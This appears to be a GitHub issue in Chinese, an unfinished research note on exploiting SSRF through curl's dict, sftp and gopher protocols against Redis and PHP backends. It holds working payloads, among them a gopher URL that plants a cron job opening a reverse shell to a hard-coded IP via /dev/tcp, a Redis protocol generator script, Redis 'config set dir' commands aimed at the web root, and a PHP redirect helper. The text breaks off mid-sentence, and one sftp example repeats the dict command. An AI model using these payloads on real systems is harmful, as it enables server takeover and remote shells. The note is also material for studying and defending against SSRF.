xinali/articles

SSRF漏洞研究(完善中)

xinali opened this issue · 0 comments

SSRF 利用

SSRF目前我所见过的主要攻击本地服务器主要有两种方式一个是利用redis,另一种是利用Memcached
进行SSRF攻击,利用最多的库就是libcurl,比如php中的curl_execcurl命令行等,可以先具体看看curl在SSRF中的作用。

SSRF 客户端主要利用方式

curl支持的协议

查看curl支持的协议

# curl -V
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp 

我们通过使用curl的几个协议可以知道,入侵主机的一些程序信息

  1. dict
attacker.com $ curl 'dict://victim.com:2323'
victim.com   $ nc -lvvp 2323 Listening on [0.0.0.0] (family 0, port 2323)                               
Connection from xxx 33442 received!  
CLIENT libcurl 7.47.0
  1. sftp
attacker.com $ curl 'dict://victim.com:2323'
evil.com     $ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0
QUIT

大部分的libcurl都不支持sftp协议,需要经过编译才能支持,所以一般这种探测都不会成功。不支持可以表现 在两个方面,一种是客户端的curl不支持发送sftp协议的数据,另一方面服务器端没有办法利用ssrf进行sftp的请求或接受该协议数据。

  1. gopher
    gopher协议最简单的请求: gopher://127.0.0.1:2333/_test
    gopher可以向任何端口发送任意形式的请求,例如http的post包:
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

比如我们利用gopher发送符合redis协议的数据包,攻击本地的redis,首先产生redis数据协议,可以利用下面的脚本产生需要的redis协议数据,只要每个数据用%0d%0a分割即可

#!/bin/bash
#
# License: MIT
# Author: Michael Weibel
#
gen_redis_protocol() {
    cmd=$1
    proto=""
    proto+="*"
    
    number_of_words=0
    byword=""
    for word in $cmd
    do
        number_of_words=$[number_of_words+1]
        byword+="$"
        byword+=${#word}
        byword+="\\r\\n"
        byword+=$word
        byword+="\\r\\n"
    done
    proto+=${number_of_words}
    proto+="\\r\\n"
    proto+=${byword}
    printf $proto
}
gen_redis_protocol "SET mykey Hello"

因为redis是通过\r\n%0d%0a,来分割每条命令的,所以首先用上面的脚本生成符合redis协议的数据,之后利用%0d%0a合并即可,举个简单的例子

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

实际上任何形式的报文都可以发,在下划线之后的内容既是报文内容,要注意url加密问题。
其中sftp和dict主要用于获取服务器端libsshlibcurl的版本信息,因为可以利用这两个软件的信息进行漏洞利用,gopher则可以直接进行攻击。

libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237)

SSRF 起源---服务器后端语言

SSRF 服务器端--php后端

如果利用php写的后端,那么php中可以触发ssrf的函数: file_get_contents(), fsockopen(), curl_exec(), fopen()

  1. curl_exec(),可以发送get请求和post请求:
    curl如果前面不输入协议会自动走http协议, 默认情况下,curl不会跟踪302跳转,并且curl不支持php的伪协议,不用考虑文件包含漏洞。
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://172.16.1.4/302.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); # 设置curl跟踪302跳转
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
?>
  1. file_get_contents只能get访问url,但是默认情况下就支持302跳转
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$response = file_get_contents("http://172.16.1.4/302.php");
var_dump($response);
?>

必须输入协议,比如http://,在php5.6php7.1.7测试下都不支持gopher。

同样该函数也是LFI(本地文件包含)漏洞需要重点关注的函数

  1. fsockopen需要自己写http报文,几乎不会有人用吧。 Fopen用的也很少,但是它是可以请求一个url的,如果php开启了 fopen 的 gopher wrapper,那么fopen就可以直接发送gopher请求。
    能够运行的原因就是curl扩展支持dictfile协议,可以利用这些协议对主机进行相关的数据请求。普通的标签,比如imgscript等基本都不会支持那么多的协议,就本就要想别的办法。

SSRF 提供某种服务--redis/memcache

redis

redis支持的通信协议格式

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

具体可以打印出来的是这样的

*3
$3
SET
$5
mykey
$7
myvalue

每行数据都是利用\r\n(%0d0a)分割的,只要能够发送这样的数据,redis都照常解析

  1. http 协议
    正常如果使用http协议请求redis,会出现这样的错误
$ curl 'http://212.24.111.64:6379/%0D%0Ainfo'
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'

出现这样错误是因为http协议的头数据都是通过\r\n来分割的,redis解析这样的数据,所以就出现了上面的错误。如果想要通过http数据利用redis,那么服务器端进行远程(或本地)请求的函数必须存在CRLF这样http头解析漏洞。

  1. CRLF漏洞
    如果目标服务器存在CRLF漏洞,对redis使用http请

我根据数据报文格式和redis的通信协议,猜测redis就是解析tcp数据包,以\r\n%0D%0A为分割线,分割成各个命令,所以如果存在CRLF漏洞,那么可以直接将命令注入报文中,redis解析之后直接执行命令!
比如redis支持dict协议

curl 'http://xx:6379/info'
curl 'http://xx:6379/config set dir /var/www/html'

ssrf在利用的过程中,经常会遇到某个应用"不支持"某种协议的情况,确切来说不是不支持,而是没有办法直接利用,举个例子,redis没有办法直接用http请求进行相关操作,如果直接用的话,会遇到这样的情况

memcache

参考链接

redis通信协议
ssrf总结

360识图ssrf:http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0229611
远程服务器脚本:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

ssrf=> mysql 导致getshell:https://paper.seebug.org/510/